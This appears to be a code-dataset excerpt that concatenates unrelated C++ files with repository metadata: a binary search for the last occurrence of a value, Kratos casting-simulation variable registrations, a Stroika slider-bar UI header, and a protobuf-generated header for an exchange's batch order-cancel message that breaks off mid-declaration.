#include<iostream> using namespace std; //Naive method - Lineaar search // Iterative approach int lastOccurence(int arr[], int n, int x) { int low = 0; int high = n-1; while (low<=high) { int mid = (low+high)/2; //cout<< low <<" "<< mid <<" "<<high<<endl; if (arr[mid]==x) { if (mid==n-1) { return n-1; } else if(arr[mid+1] != x) { return mid; } else { low = mid+1; continue; } } else if(arr[mid] > x) { high = mid-1; } else { low = mid + 1; } } return -1; } // Recursive approach int lastOccurence2(int arr[], int n, int low, int high, int x) { int mid = (low + high)/2; if(low>high) { return -1; } if (arr[mid] == x) { if (mid==n-1) { return n-1; } else if(arr[mid+1] != x) { return mid; } else { return lastOccurence2(arr,n,mid+1,high,x); } } else if (arr[mid]>x) { return lastOccurence2(arr,n,low,mid-1,x); } else { return lastOccurence2(arr,n,mid+1,high,x); } } int main() { int n,x; cin >> n >> x; int arr[n]; for (int i = 0; i < n; i++) { cin >> arr[i]; } cout << lastOccurence(arr,n,x)<<endl; cout << lastOccurence2(arr,n,0,n-1,x)<<endl; }
3aa07fce9bb7136ab395659b9012300943ba6593
b54b6168ba35ce6ad34f5a26b5a4a3ab8afa124a
/kratos/kratos/sources/c2c_variables.cpp
cd9b1378bfc1a2ed3ac2ee25566db7a41a786e14
[]
no_license
svn2github/kratos
e2f3673db1d176896929b6e841c611932d6b9b63
96aa8004f145fff5ca6c521595cddf6585f9eccb
refs/heads/master
2020-04-04T03:56:50.018938
2017-02-12T20:34:24
2017-02-12T20:34:24
54,662,269
2
1
null
null
null
null
UTF-8
C++
false
false
9,333
cpp
c2c_variables.cpp
// | / | // ' / __| _` | __| _ \ __| // . \ | ( | | ( |\__ \. // _|\_\_| \__,_|\__|\___/ ____/ // Multi-Physics // // License: BSD License // Kratos default license: kratos/license.txt // // Main authors: Riccardo Rossi // // This define must be HERE #define DKRATOS_EXPORT_INTERFACE_2 1 // System includes #include <string> #include <iostream> #include <vector> // External includes // Project includes #include "includes/define.h" #include "includes/c2c_variables.h" #include "includes/kernel.h" #include "includes/node.h" // #include "includes/element.h" // #include "includes/condition.h" // #include "includes/constitutive_law.h" // #include "includes/geometrical_object.h" // #include "geometries/line_2d.h" // #include "geometries/line_2d_2.h" // #include "geometries/line_2d_3.h" // #include "geometries/line_3d_2.h" // #include "geometries/line_3d_3.h" // #include "geometries/point.h" // #include "geometries/point_2d.h" // #include "geometries/point_3d.h" // #include "geometries/sphere_3d_1.h" // #include "geometries/triangle_2d_3.h" // #include "geometries/triangle_2d_6.h" // #include "geometries/triangle_3d_3.h" // #include "geometries/triangle_3d_6.h" // #include "geometries/quadrilateral_2d_4.h" // #include "geometries/quadrilateral_2d_8.h" // #include "geometries/quadrilateral_2d_9.h" // #include "geometries/quadrilateral_3d_4.h" // #include "geometries/quadrilateral_3d_8.h" // #include "geometries/quadrilateral_3d_9.h" // #include "geometries/tetrahedra_3d_4.h" // #include "geometries/tetrahedra_3d_10.h" // #include "geometries/prism_3d_6.h" // #include "geometries/prism_3d_15.h" // #include "geometries/hexahedra_3d_8.h" // #include "geometries/hexahedra_3d_20.h" // #include "geometries/hexahedra_3d_27.h" // #include "python/add_c2c_variables_to_python.h" // #include "includes/convection_diffusion_settings.h" // #include "includes/radiation_settings.h" #include "includes/kratos_flags.h" namespace Kratos { KRATOS_CREATE_VARIABLE( double, SOLID_TEMPERATURE ) KRATOS_CREATE_VARIABLE( double, FLUID_TEMPERATURE ) KRATOS_CREATE_VARIABLE( double, AVERAGE_TEMPERATURE ) KRATOS_CREATE_VARIABLE( double, INLET_TEMPERATURE) // KRATOS_CREATE_VARIABLE( double, AMBIENT_TEMPERATURE ) // KRATOS_CREATE_VARIABLE( double, Y_WALL) KRATOS_CREATE_VARIABLE( double, COUNTER ) KRATOS_CREATE_VARIABLE( double, DISTANCE_CORRECTION ) KRATOS_CREATE_VARIABLE( double, COMPUTED_DISTANCE ) KRATOS_CREATE_VARIABLE( double, MATERIAL ) Kratos::Variable<double> LAST_AIR( "LAST AIR" ); Kratos::Variable<double> PRESSURES( "PRESSURES" ); Kratos::Variable<Kratos::array_1d<double, 3> > VELOCITIES( "VELOCITIES", Kratos::zero_vector<double>( 3 ) ); Kratos::Variable<double> TEMPERATURES( "TEMPERATURES" ); /*const*/ Kratos::VariableComponent<Kratos::VectorComponentAdaptor<Kratos::array_1d<double, 3> > > VELOCITIES_X( "X-VELOCITIES", Kratos::VectorComponentAdaptor<Kratos::array_1d<double, 3> >( VELOCITIES, 0 ) ); /*const*/ Kratos::VariableComponent<Kratos::VectorComponentAdaptor<Kratos::array_1d<double, 3> > > VELOCITIES_Y( "Y-VELOCITIES)", Kratos::VectorComponentAdaptor<Kratos::array_1d<double, 3> >( VELOCITIES, 1 ) ); /*const*/ Kratos::VariableComponent<Kratos::VectorComponentAdaptor<Kratos::array_1d<double, 3> > > VELOCITIES_Z( "Z-VELOCITIES", Kratos::VectorComponentAdaptor<Kratos::array_1d<double, 3> >( VELOCITIES, 2 ) ); // for Vulcan application virtual mould properties KRATOS_CREATE_VARIABLE(double, MOULD_DENSITY) KRATOS_CREATE_VARIABLE(double, MOULD_SPECIFIC_HEAT) KRATOS_CREATE_VARIABLE(double, MOULD_THICKNESS) KRATOS_CREATE_VARIABLE(double, MOULD_SFACT) KRATOS_CREATE_VARIABLE(double, MOULD_VFACT) KRATOS_CREATE_VARIABLE(double, MOULD_CONDUCTIVITY) KRATOS_CREATE_VARIABLE(double, MOULD_HTC_ENVIRONMENT) KRATOS_CREATE_VARIABLE(double, MOULD_TEMPERATURE) KRATOS_CREATE_VARIABLE(double, MOULD_INNER_TEMPERATURE) // for Click2Cast Application KRATOS_CREATE_VARIABLE(int, NODE_PROPERTY_ID) KRATOS_CREATE_VARIABLE(double, HTC) KRATOS_CREATE_VARIABLE(int, REF_ID) KRATOS_CREATE_VARIABLE(double, PARTICLE_RADIUS) KRATOS_CREATE_VARIABLE(double, POSETIVE_DISTANCE) KRATOS_CREATE_VARIABLE(double, NAGATIVE_DISTANCE) KRATOS_CREATE_VARIABLE(bool, IS_ESCAPED) KRATOS_CREATE_VARIABLE(int, IS_SOLIDIFIED) Kratos::Variable<double> SOLIDFRACTION( "SOLID_FRACTION" ); KRATOS_CREATE_VARIABLE(double, SOLIDFRACTION_RATE) Kratos::Variable<double> SOLIDIF_TIME( "SOLIDIF TIME" ); Kratos::Variable<double> SOLIDIF_MODULUS( "SOLIDIF MODULUS" ); Kratos::Variable<double> FILLTIME( "FILLTIME" ); KRATOS_CREATE_VARIABLE(double, MACRO_POROSITY ) Kratos::Variable<double> SHRINKAGE_POROSITY( "SHRINKAGE_POROSITY" ); Kratos::Variable<double> MAX_VEL( "MAX VEL" ); KRATOS_CREATE_VARIABLE(int, IS_GRAVITY_FILLING) KRATOS_CREATE_VARIABLE(double, VOLUME_FRACTION ) KRATOS_CREATE_VARIABLE(double, KAPPA ) KRATOS_CREATE_VARIABLE(double, EPSILON ) Kratos::Variable<double> SHRINKAGE_POROSITY_US( "SHRINKAGE_POROSITY" ); Kratos::Variable<double> SOLIDIF_MODULUS_US( "SOLIDIF MODULUS" ); Kratos::Variable<double> TEMPERATURES_US( "TEMPERATURES" ); KRATOS_CREATE_VARIABLE(double,FRONT_MEETING) KRATOS_CREATE_VARIABLE( double, MOULD_AVERAGE_TEMPERATURE ) Kratos::Variable<double> LIQUID_TIME("TIME TO START SOLIDIFICATION"); Kratos::Variable<double> FLOW_LENGTH ("FLOW LENGTH ESTIMATION 1"); Kratos::Variable<double> FLOW_LENGTH2("FLOW LENGTH ESTIMATION 2" ); Kratos::Variable<double> COOLING_RATE("COOLING RATE"); Kratos::Variable<double> LIQUID_TO_SOLID_TIME("TIME TO COMPLETE SOLIDIF."); //KRATOS_CREATE_VARIABLE(double, SOLID_FRACTION) //KRATOS_CREATE_VARIABLE(double, SOLID_FRACTION_RATE) KRATOS_CREATE_VARIABLE( double, TIME_CRT ) KRATOS_CREATE_VARIABLE(double, SINKMARK) KRATOS_CREATE_VARIABLE(double, COLD_SHUTS) KRATOS_CREATE_VARIABLE(double, NIYAMA) KRATOS_CREATE_3D_VARIABLE_WITH_COMPONENTS (TEMPERATURE_GRADIENT) void KratosApplication::RegisterC2CVariables() { KRATOS_REGISTER_VARIABLE( SOLID_TEMPERATURE ) KRATOS_REGISTER_VARIABLE( FLUID_TEMPERATURE ) KRATOS_REGISTER_VARIABLE( AVERAGE_TEMPERATURE ) KRATOS_REGISTER_VARIABLE( INLET_TEMPERATURE) // KRATOS_REGISTER_VARIABLE( AMBIENT_TEMPERATURE ) // KRATOS_REGISTER_VARIABLE( Y_WALL) KRATOS_REGISTER_VARIABLE( COUNTER ) KRATOS_REGISTER_VARIABLE( DISTANCE_CORRECTION ) KRATOS_REGISTER_VARIABLE( COMPUTED_DISTANCE ) KRATOS_REGISTER_VARIABLE( MATERIAL ) KRATOS_REGISTER_VARIABLE( MOULD_AVERAGE_TEMPERATURE) KRATOS_REGISTER_VARIABLE( LAST_AIR) KRATOS_REGISTER_VARIABLE( PRESSURES) KRATOS_REGISTER_VARIABLE( TEMPERATURES) // KRATOS_DEFINE_3D_VARIABLE_WITH_COMPONENTS(VELOCITIES) KRATOS_REGISTER_3D_VARIABLE_WITH_COMPONENTS(VELOCITIES) KRATOS_REGISTER_VARIABLE( MOULD_DENSITY) KRATOS_REGISTER_VARIABLE( MOULD_SPECIFIC_HEAT) KRATOS_REGISTER_VARIABLE( MOULD_THICKNESS) KRATOS_REGISTER_VARIABLE( MOULD_SFACT) KRATOS_REGISTER_VARIABLE( MOULD_VFACT) KRATOS_REGISTER_VARIABLE( MOULD_CONDUCTIVITY) KRATOS_REGISTER_VARIABLE( MOULD_HTC_ENVIRONMENT) KRATOS_REGISTER_VARIABLE( MOULD_TEMPERATURE) KRATOS_REGISTER_VARIABLE( MOULD_INNER_TEMPERATURE) KRATOS_REGISTER_VARIABLE( NODE_PROPERTY_ID) KRATOS_REGISTER_VARIABLE( HTC) KRATOS_REGISTER_VARIABLE( REF_ID) KRATOS_REGISTER_VARIABLE( PARTICLE_RADIUS) KRATOS_REGISTER_VARIABLE( POSETIVE_DISTANCE) KRATOS_REGISTER_VARIABLE( NAGATIVE_DISTANCE) KRATOS_REGISTER_VARIABLE( IS_ESCAPED) KRATOS_REGISTER_VARIABLE( IS_SOLIDIFIED) KRATOS_REGISTER_VARIABLE( SOLIDFRACTION ) KRATOS_REGISTER_VARIABLE( SOLIDFRACTION_RATE) KRATOS_REGISTER_VARIABLE( SOLIDIF_TIME ) KRATOS_REGISTER_VARIABLE( SOLIDIF_MODULUS ) KRATOS_REGISTER_VARIABLE( FILLTIME ) KRATOS_REGISTER_VARIABLE( MACRO_POROSITY ) KRATOS_REGISTER_VARIABLE( SHRINKAGE_POROSITY ) KRATOS_REGISTER_VARIABLE( MAX_VEL ) KRATOS_REGISTER_VARIABLE( IS_GRAVITY_FILLING) KRATOS_REGISTER_VARIABLE( VOLUME_FRACTION ) KRATOS_REGISTER_VARIABLE( KAPPA ) KRATOS_REGISTER_VARIABLE( EPSILON ) KRATOS_REGISTER_VARIABLE( SHRINKAGE_POROSITY_US) KRATOS_REGISTER_VARIABLE( SOLIDIF_MODULUS_US) KRATOS_REGISTER_VARIABLE( TEMPERATURES_US) KRATOS_REGISTER_VARIABLE( FRONT_MEETING) KRATOS_REGISTER_VARIABLE( LIQUID_TIME) KRATOS_REGISTER_VARIABLE( FLOW_LENGTH ) KRATOS_REGISTER_VARIABLE( FLOW_LENGTH2 ) KRATOS_REGISTER_VARIABLE( COOLING_RATE) KRATOS_REGISTER_VARIABLE (LIQUID_TO_SOLID_TIME) KRATOS_REGISTER_VARIABLE (TIME_CRT) KRATOS_REGISTER_VARIABLE(SINKMARK) KRATOS_REGISTER_VARIABLE(COLD_SHUTS) KRATOS_REGISTER_VARIABLE(NIYAMA) KRATOS_REGISTER_3D_VARIABLE_WITH_COMPONENTS(TEMPERATURE_GRADIENT) } } // namespace Kratos. // This define must be HERE #undef DKRATOS_EXPORT_INTERFACE_2
9692e5e474c405bcacfe6161ef56f56203e16281
4b430686ae824c78604e15818c4b864778468ca1
/Archive/Stroika_FINAL_for_STERL_1992/Tools/Portable/Emily/Headers/SliderBarInfo.hh
8bb88f5c02762666da7775c38cd76899bd5faac6
[]
no_license
kjax/Stroika
59d559cbbcfb9fbd619155daaf39f6805fa79e02
3994269f67cd9029b9adf62e93ec0a3bfae60b5f
refs/heads/master
2021-01-17T23:05:33.441132
2012-07-22T04:32:58
2012-07-22T04:32:58
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,921
hh
SliderBarInfo.hh
/* Copyright(c) Sophist Solutions Inc. 1991-1992. All rights reserved */ /* * $Header: /fuji/lewis/RCS/SliderBarInfo.hh,v 1.3 1992/09/01 16:25:27 sterling Exp $ * * Description: * * TODO: * * Changes: * $Log: SliderBarInfo.hh,v $ * Revision 1.3 1992/09/01 16:25:27 sterling * Lots of Foundation changes. * * * */ // text before here will be retained: Do not remove or modify this line!!! #include "FocusItem.hh" #include "TextEdit.hh" #include "View.hh" #include "TextView.hh" #include "NumberText.hh" #include "ViewItemInfo.hh" class SliderBarInfoX : public View, public FocusOwner, public TextController { public: SliderBarInfoX (); ~SliderBarInfoX (); override Point CalcDefaultSize_ (const Point& defaultSize) const; protected: override void Layout (); TextView fTitle; NumberText fSubTicks; NumberText fTicks; TextView fField1; TextView fField2; NumberText fMinimum; NumberText fValue; TextView fMaximumLabel; TextView fMinLabel; TextView fValueLabel; NumberText fMaximum; ViewItemInfo fViewInfo; private: #if qMacUI nonvirtual void BuildForMacUI (); #elif qMotifUI nonvirtual void BuildForMotifUI (); #else nonvirtual void BuildForUnknownGUI (); #endif /* GUI */ }; // text past here will be retained: Do not remove or modify this line!!! class SliderBarItem; class SliderBarInfo : public SliderBarInfoX { public: SliderBarInfo (SliderBarItem& view); nonvirtual NumberText& GetMaxValueField () { return (fMaximum); } nonvirtual NumberText& GetMinValueField () { return (fMinimum); } nonvirtual NumberText& GetValueField () { return (fValue); } nonvirtual ViewItemInfo& GetViewItemInfo () { return (fViewInfo); } nonvirtual Real GetTicks () { return (fTicks.GetValue ()); } nonvirtual Real GetSubTicks () { return (fSubTicks.GetValue ()); } };
84d09515e51011dec74131e9f98a4a341449df3b
81ef03d4f681da835ec19415820df12eb2beb59b
/Protocol/proto/ukex.canceltradebatch.pb.h
5cf3662fa61034cba7653d8395604691b9ff532a
[]
no_license
FlappyMan/HttpWebSocket
906a365584307fc8216b4824542018d75630da4c
e844139119c036464784438825150a41ca169e8e
refs/heads/master
2023-07-28T11:45:39.934945
2021-09-15T11:01:14
2021-09-15T11:01:14
278,041,522
1
0
null
null
null
null
UTF-8
C++
false
true
37,242
h
ukex.canceltradebatch.pb.h
// Generated by the protocol buffer compiler. DO NOT EDIT! // source: ukex.canceltradebatch.proto #ifndef GOOGLE_PROTOBUF_INCLUDED_ukex_2ecanceltradebatch_2eproto #define GOOGLE_PROTOBUF_INCLUDED_ukex_2ecanceltradebatch_2eproto #include <limits> #include <string> #include <google/protobuf/port_def.inc> #if PROTOBUF_VERSION < 3010000 #error This file was generated by a newer version of protoc which is #error incompatible with your Protocol Buffer headers. Please update #error your headers. #endif #if 3010000 < PROTOBUF_MIN_PROTOC_VERSION #error This file was generated by an older version of protoc which is #error incompatible with your Protocol Buffer headers. Please #error regenerate this file with a newer version of protoc. #endif #include <google/protobuf/port_undef.inc> #include <google/protobuf/io/coded_stream.h> #include <google/protobuf/arena.h> #include <google/protobuf/arenastring.h> #include <google/protobuf/generated_message_table_driven.h> #include <google/protobuf/generated_message_util.h> #include <google/protobuf/inlined_string_field.h> #include <google/protobuf/metadata.h> #include <google/protobuf/generated_message_reflection.h> #include <google/protobuf/message.h> #include <google/protobuf/repeated_field.h> // IWYU pragma: export #include <google/protobuf/extension_set.h> // IWYU pragma: export #include <google/protobuf/generated_enum_reflection.h> #include <google/protobuf/unknown_field_set.h> // @@protoc_insertion_point(includes) #include <google/protobuf/port_def.inc> #define PROTOBUF_INTERNAL_EXPORT_ukex_2ecanceltradebatch_2eproto PROTOBUF_NAMESPACE_OPEN namespace internal { class AnyMetadata; } // namespace internal PROTOBUF_NAMESPACE_CLOSE // Internal implementation detail -- do not use these members. struct TableStruct_ukex_2ecanceltradebatch_2eproto { static const ::PROTOBUF_NAMESPACE_ID::internal::ParseTableField entries[] PROTOBUF_SECTION_VARIABLE(protodesc_cold); static const ::PROTOBUF_NAMESPACE_ID::internal::AuxillaryParseTableField aux[] PROTOBUF_SECTION_VARIABLE(protodesc_cold); static const ::PROTOBUF_NAMESPACE_ID::internal::ParseTable schema[2] PROTOBUF_SECTION_VARIABLE(protodesc_cold); static const ::PROTOBUF_NAMESPACE_ID::internal::FieldMetadata field_metadata[]; static const ::PROTOBUF_NAMESPACE_ID::internal::SerializationTable serialization_table[]; static const ::PROTOBUF_NAMESPACE_ID::uint32 offsets[]; }; extern const ::PROTOBUF_NAMESPACE_ID::internal::DescriptorTable descriptor_table_ukex_2ecanceltradebatch_2eproto; namespace ukex { class canceltradebatch; class canceltradebatchDefaultTypeInternal; extern canceltradebatchDefaultTypeInternal _canceltradebatch_default_instance_; class canceltradebatch_Orders; class canceltradebatch_OrdersDefaultTypeInternal; extern canceltradebatch_OrdersDefaultTypeInternal _canceltradebatch_Orders_default_instance_; } // namespace ukex PROTOBUF_NAMESPACE_OPEN template<> ::ukex::canceltradebatch* Arena::CreateMaybeMessage<::ukex::canceltradebatch>(Arena*); template<> ::ukex::canceltradebatch_Orders* Arena::CreateMaybeMessage<::ukex::canceltradebatch_Orders>(Arena*); PROTOBUF_NAMESPACE_CLOSE namespace ukex { enum canceltradebatch_CONST : int { canceltradebatch_CONST_CMD = 103 }; bool canceltradebatch_CONST_IsValid(int value); constexpr canceltradebatch_CONST canceltradebatch_CONST_CONST_MIN = canceltradebatch_CONST_CMD; constexpr canceltradebatch_CONST canceltradebatch_CONST_CONST_MAX = canceltradebatch_CONST_CMD; constexpr int canceltradebatch_CONST_CONST_ARRAYSIZE = canceltradebatch_CONST_CONST_MAX + 1; const ::PROTOBUF_NAMESPACE_ID::EnumDescriptor* canceltradebatch_CONST_descriptor(); template<typename T> inline const std::string& canceltradebatch_CONST_Name(T enum_t_value) { static_assert(::std::is_same<T, canceltradebatch_CONST>::value || ::std::is_integral<T>::value, "Incorrect type passed to function canceltradebatch_CONST_Name."); return ::PROTOBUF_NAMESPACE_ID::internal::NameOfEnum( canceltradebatch_CONST_descriptor(), enum_t_value); } inline bool canceltradebatch_CONST_Parse( const std::string& name, canceltradebatch_CONST* value) { return ::PROTOBUF_NAMESPACE_ID::internal::ParseNamedEnum<canceltradebatch_CONST>( canceltradebatch_CONST_descriptor(), name, value); } // =================================================================== class canceltradebatch_Orders : public ::PROTOBUF_NAMESPACE_ID::Message /* @@protoc_insertion_point(class_definition:ukex.canceltradebatch.Orders) */ { public: canceltradebatch_Orders(); virtual ~canceltradebatch_Orders(); canceltradebatch_Orders(const canceltradebatch_Orders& from); canceltradebatch_Orders(canceltradebatch_Orders&& from) noexcept : canceltradebatch_Orders() { *this = ::std::move(from); } inline canceltradebatch_Orders& operator=(const canceltradebatch_Orders& from) { CopyFrom(from); return *this; } inline canceltradebatch_Orders& operator=(canceltradebatch_Orders&& from) noexcept { if (GetArenaNoVirtual() == from.GetArenaNoVirtual()) { if (this != &from) InternalSwap(&from); } else { CopyFrom(from); } return *this; } inline const ::PROTOBUF_NAMESPACE_ID::UnknownFieldSet& unknown_fields() const { return _internal_metadata_.unknown_fields(); } inline ::PROTOBUF_NAMESPACE_ID::UnknownFieldSet* mutable_unknown_fields() { return _internal_metadata_.mutable_unknown_fields(); } static const ::PROTOBUF_NAMESPACE_ID::Descriptor* descriptor() { return GetDescriptor(); } static const ::PROTOBUF_NAMESPACE_ID::Descriptor* GetDescriptor() { return GetMetadataStatic().descriptor; } static const ::PROTOBUF_NAMESPACE_ID::Reflection* GetReflection() { return GetMetadataStatic().reflection; } static const canceltradebatch_Orders& default_instance(); static void InitAsDefaultInstance(); // FOR INTERNAL USE ONLY static inline const canceltradebatch_Orders* internal_default_instance() { return reinterpret_cast<const canceltradebatch_Orders*>( &_canceltradebatch_Orders_default_instance_); } static constexpr int kIndexInFileMessages = 0; friend void swap(canceltradebatch_Orders& a, canceltradebatch_Orders& b) { a.Swap(&b); } inline void Swap(canceltradebatch_Orders* other) { if (other == this) return; InternalSwap(other); } // implements Message ---------------------------------------------- inline canceltradebatch_Orders* New() const final { return CreateMaybeMessage<canceltradebatch_Orders>(nullptr); } canceltradebatch_Orders* New(::PROTOBUF_NAMESPACE_ID::Arena* arena) const final { return CreateMaybeMessage<canceltradebatch_Orders>(arena); } void CopyFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) final; void MergeFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) final; void CopyFrom(const canceltradebatch_Orders& from); void MergeFrom(const canceltradebatch_Orders& from); PROTOBUF_ATTRIBUTE_REINITIALIZES void Clear() final; bool IsInitialized() const final; size_t ByteSizeLong() const final; const char* _InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) final; ::PROTOBUF_NAMESPACE_ID::uint8* InternalSerializeWithCachedSizesToArray( ::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const final; int GetCachedSize() const final { return _cached_size_.Get(); } private: inline void SharedCtor(); inline void SharedDtor(); void SetCachedSize(int size) const final; void InternalSwap(canceltradebatch_Orders* other); friend class ::PROTOBUF_NAMESPACE_ID::internal::AnyMetadata; static ::PROTOBUF_NAMESPACE_ID::StringPiece FullMessageName() { return "ukex.canceltradebatch.Orders"; } private: inline ::PROTOBUF_NAMESPACE_ID::Arena* GetArenaNoVirtual() const { return nullptr; } inline void* MaybeArenaPtr() const { return nullptr; } public: ::PROTOBUF_NAMESPACE_ID::Metadata GetMetadata() const final; private: static ::PROTOBUF_NAMESPACE_ID::Metadata GetMetadataStatic() { ::PROTOBUF_NAMESPACE_ID::internal::AssignDescriptors(&::descriptor_table_ukex_2ecanceltradebatch_2eproto); return ::descriptor_table_ukex_2ecanceltradebatch_2eproto.file_level_metadata[kIndexInFileMessages]; } public: // nested types ---------------------------------------------------- // accessors ------------------------------------------------------- enum : int { kPriceFieldNumber = 4, kNumberFieldNumber = 5, kOrderidFieldNumber = 1, kMarketidFieldNumber = 2, kTypeFieldNumber = 3, }; // optional string price = 4; bool has_price() const; private: bool _internal_has_price() const; public: void clear_price(); const std::string& price() const; void set_price(const std::string& value); void set_price(std::string&& value); void set_price(const char* value); void set_price(const char* value, size_t size); std::string* mutable_price(); std::string* release_price(); void set_allocated_price(std::string* price); private: const std::string& _internal_price() const; void _internal_set_price(const std::string& value); std::string* _internal_mutable_price(); public: // optional string number = 5; bool has_number() const; private: bool _internal_has_number() const; public: void clear_number(); const std::string& number() const; void set_number(const std::string& value); void set_number(std::string&& value); void set_number(const char* value); void set_number(const char* value, size_t size); std::string* mutable_number(); std::string* release_number(); void set_allocated_number(std::string* number); private: const std::string& _internal_number() const; void _internal_set_number(const std::string& value); std::string* _internal_mutable_number(); public: // required uint64 orderid = 1; bool has_orderid() const; private: bool _internal_has_orderid() const; public: void clear_orderid(); ::PROTOBUF_NAMESPACE_ID::uint64 orderid() const; void set_orderid(::PROTOBUF_NAMESPACE_ID::uint64 value); private: ::PROTOBUF_NAMESPACE_ID::uint64 _internal_orderid() const; void _internal_set_orderid(::PROTOBUF_NAMESPACE_ID::uint64 value); public: // required uint64 marketid = 2; bool has_marketid() const; private: bool _internal_has_marketid() const; public: void clear_marketid(); ::PROTOBUF_NAMESPACE_ID::uint64 marketid() const; void set_marketid(::PROTOBUF_NAMESPACE_ID::uint64 value); private: ::PROTOBUF_NAMESPACE_ID::uint64 _internal_marketid() const; void _internal_set_marketid(::PROTOBUF_NAMESPACE_ID::uint64 value); public: // required uint32 type = 3; bool has_type() const; private: bool _internal_has_type() const; public: void clear_type(); ::PROTOBUF_NAMESPACE_ID::uint32 type() const; void set_type(::PROTOBUF_NAMESPACE_ID::uint32 value); private: ::PROTOBUF_NAMESPACE_ID::uint32 _internal_type() const; void _internal_set_type(::PROTOBUF_NAMESPACE_ID::uint32 value); public: // @@protoc_insertion_point(class_scope:ukex.canceltradebatch.Orders) private: class _Internal; // helper for ByteSizeLong() size_t RequiredFieldsByteSizeFallback() const; ::PROTOBUF_NAMESPACE_ID::internal::InternalMetadataWithArena _internal_metadata_; ::PROTOBUF_NAMESPACE_ID::internal::HasBits<1> _has_bits_; mutable ::PROTOBUF_NAMESPACE_ID::internal::CachedSize _cached_size_; ::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr price_; ::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr number_; ::PROTOBUF_NAMESPACE_ID::uint64 orderid_; ::PROTOBUF_NAMESPACE_ID::uint64 marketid_; ::PROTOBUF_NAMESPACE_ID::uint32 type_; friend struct ::TableStruct_ukex_2ecanceltradebatch_2eproto; }; // ------------------------------------------------------------------- class canceltradebatch : public ::PROTOBUF_NAMESPACE_ID::Message /* @@protoc_insertion_point(class_definition:ukex.canceltradebatch) */ { public: canceltradebatch(); virtual ~canceltradebatch(); canceltradebatch(const canceltradebatch& from); canceltradebatch(canceltradebatch&& from) noexcept : canceltradebatch() { *this = ::std::move(from); } inline canceltradebatch& operator=(const canceltradebatch& from) { CopyFrom(from); return *this; } inline canceltradebatch& operator=(canceltradebatch&& from) noexcept { if (GetArenaNoVirtual() == from.GetArenaNoVirtual()) { if (this != &from) InternalSwap(&from); } else { CopyFrom(from); } return *this; } inline const ::PROTOBUF_NAMESPACE_ID::UnknownFieldSet& unknown_fields() const { return _internal_metadata_.unknown_fields(); } inline ::PROTOBUF_NAMESPACE_ID::UnknownFieldSet* mutable_unknown_fields() { return _internal_metadata_.mutable_unknown_fields(); } static const ::PROTOBUF_NAMESPACE_ID::Descriptor* descriptor() { return GetDescriptor(); } static const ::PROTOBUF_NAMESPACE_ID::Descriptor* GetDescriptor() { return GetMetadataStatic().descriptor; } static const ::PROTOBUF_NAMESPACE_ID::Reflection* GetReflection() { return GetMetadataStatic().reflection; } static const canceltradebatch& default_instance(); static void InitAsDefaultInstance(); // FOR INTERNAL USE ONLY static inline const canceltradebatch* internal_default_instance() { return reinterpret_cast<const canceltradebatch*>( &_canceltradebatch_default_instance_); } static constexpr int kIndexInFileMessages = 1; friend void swap(canceltradebatch& a, canceltradebatch& b) { a.Swap(&b); } inline void Swap(canceltradebatch* other) { if (other == this) return; InternalSwap(other); } // implements Message ---------------------------------------------- inline canceltradebatch* New() const final { return CreateMaybeMessage<canceltradebatch>(nullptr); } canceltradebatch* New(::PROTOBUF_NAMESPACE_ID::Arena* arena) const final { return CreateMaybeMessage<canceltradebatch>(arena); } void CopyFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) final; void MergeFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) final; void CopyFrom(const canceltradebatch& from); void MergeFrom(const canceltradebatch& from); PROTOBUF_ATTRIBUTE_REINITIALIZES void Clear() final; bool IsInitialized() const final; size_t ByteSizeLong() const final; const char* _InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) final; ::PROTOBUF_NAMESPACE_ID::uint8* InternalSerializeWithCachedSizesToArray( ::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const final; int GetCachedSize() const final { return _cached_size_.Get(); } private: inline void SharedCtor(); inline void SharedDtor(); void SetCachedSize(int size) const final; void InternalSwap(canceltradebatch* other); friend class ::PROTOBUF_NAMESPACE_ID::internal::AnyMetadata; static ::PROTOBUF_NAMESPACE_ID::StringPiece FullMessageName() { return "ukex.canceltradebatch"; } private: inline ::PROTOBUF_NAMESPACE_ID::Arena* GetArenaNoVirtual() const { return nullptr; } inline void* MaybeArenaPtr() const { return nullptr; } public: ::PROTOBUF_NAMESPACE_ID::Metadata GetMetadata() const final; private: static ::PROTOBUF_NAMESPACE_ID::Metadata GetMetadataStatic() { ::PROTOBUF_NAMESPACE_ID::internal::AssignDescriptors(&::descriptor_table_ukex_2ecanceltradebatch_2eproto); return ::descriptor_table_ukex_2ecanceltradebatch_2eproto.file_level_metadata[kIndexInFileMessages]; } public: // nested types ---------------------------------------------------- typedef canceltradebatch_Orders Orders; typedef canceltradebatch_CONST CONST; static constexpr CONST CMD = canceltradebatch_CONST_CMD; static inline bool CONST_IsValid(int value) { return canceltradebatch_CONST_IsValid(value); } static constexpr CONST CONST_MIN = canceltradebatch_CONST_CONST_MIN; static constexpr CONST CONST_MAX = canceltradebatch_CONST_CONST_MAX; static constexpr int CONST_ARRAYSIZE = canceltradebatch_CONST_CONST_ARRAYSIZE; static inline const ::PROTOBUF_NAMESPACE_ID::EnumDescriptor* CONST_descriptor() { return canceltradebatch_CONST_descriptor(); } template<typename T> static inline const std::string& CONST_Name(T enum_t_value) { static_assert(::std::is_same<T, CONST>::value || ::std::is_integral<T>::value, "Incorrect type passed to function CONST_Name."); return canceltradebatch_CONST_Name(enum_t_value); } static inline bool CONST_Parse(const std::string& name, CONST* value) { return canceltradebatch_CONST_Parse(name, value); } // accessors ------------------------------------------------------- enum : int { kOrdersFieldNumber = 3, kTokenFieldNumber = 2, kUidFieldNumber = 1, kCanceltradebatchidFieldNumber = 4, }; // repeated .ukex.canceltradebatch.Orders orders = 3; int orders_size() const; private: int _internal_orders_size() const; public: void clear_orders(); ::ukex::canceltradebatch_Orders* mutable_orders(int index); ::PROTOBUF_NAMESPACE_ID::RepeatedPtrField< 